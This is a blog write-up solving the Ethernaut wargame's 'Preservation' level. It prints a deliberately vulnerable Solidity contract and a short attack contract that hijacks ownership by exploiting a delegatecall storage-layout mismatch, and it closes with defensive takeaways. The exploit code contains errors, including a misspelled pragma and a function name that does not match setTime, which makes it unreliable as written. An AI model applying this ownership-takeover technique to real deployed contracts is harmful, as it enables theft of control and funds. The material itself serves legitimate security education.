Ethernaut Challenge Level 16: Solution (Preservation)

9 months ago 52
BOOK THIS SPACE FOR AD
ARTICLE AD

Shubham Nagar

We have done a blog for the Fallback Function Challenge by Openzepplin (a wargame by Openzepplin). I thought, why not write about some difficult challenges available there? So, Today I am going to write about Ethernaut Level 16 — Preservation.

If you are coming through all the challenges, you must have gained good knowledge about how delegatecall works and EVM storage structures.

Challenge:

This contract utilizes a library to store two different times for two different timezone. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

//Preservation.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

As per the objectives given in this challenge, we have to become the owner of the preservation contract.

Auditing Code:

To become the owner, we must exploit the constructor, but we know that’s not possible. There are two functions delegatecall to both timezonelibraries address and initalizing storedtime variable of preservation contract because delegatecall runs on the context of calling contract.

Notice that we have to provide a uint256 input for the timeZone1Library function. The vulnerability lies in the library contract. Let me explain how:

See, you can provide an input of type uint to both functions. We provide our contract address to save it in the timeZone1Library state variable, but how? The main vulnerability exists in the library contract where the owner state variable has the wrong storage layout, and the storedTime value will be updated in the timeZone1Library state variable.

The Hack:

Let’s create a malicious contract where we will be updating the owner state variable to our address in the preservation contract.

//Hack.sol

pragma solidty ^0.8.0;

contract PreservationHack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;

function hack() external {
owner = msg.sender;
}

}

Deploy this contract on testnet and copy the contract address, then go to Prevention.sol and run the setFirstTime function by passing your deployed contract address. That is how you update the timeZone1Library state variable to your address because it is situated at slot 0.

Note: You can access the level16 contract by passing the level instance address to your remix ide.

Now run the setFirstTime function, providing a random uint integer argument. The function will delegate call to your smart contract address, and the owner variable will be updated to your address just after the transaction is confirmed. Now submit the instance back to ethernaut and complete the challenge.

Takeaways

Always check your storage layout while creating another contract. It should match with your current contract.While creating libraries, we should use library instead of contract.delegatecall should be used when absolutely necessary and with an understanding of its implications. Alternatively, we can use call or direct function call to be on safe side.Always audit the code logic before deploying your contract to the mainnet.
Read Entire Article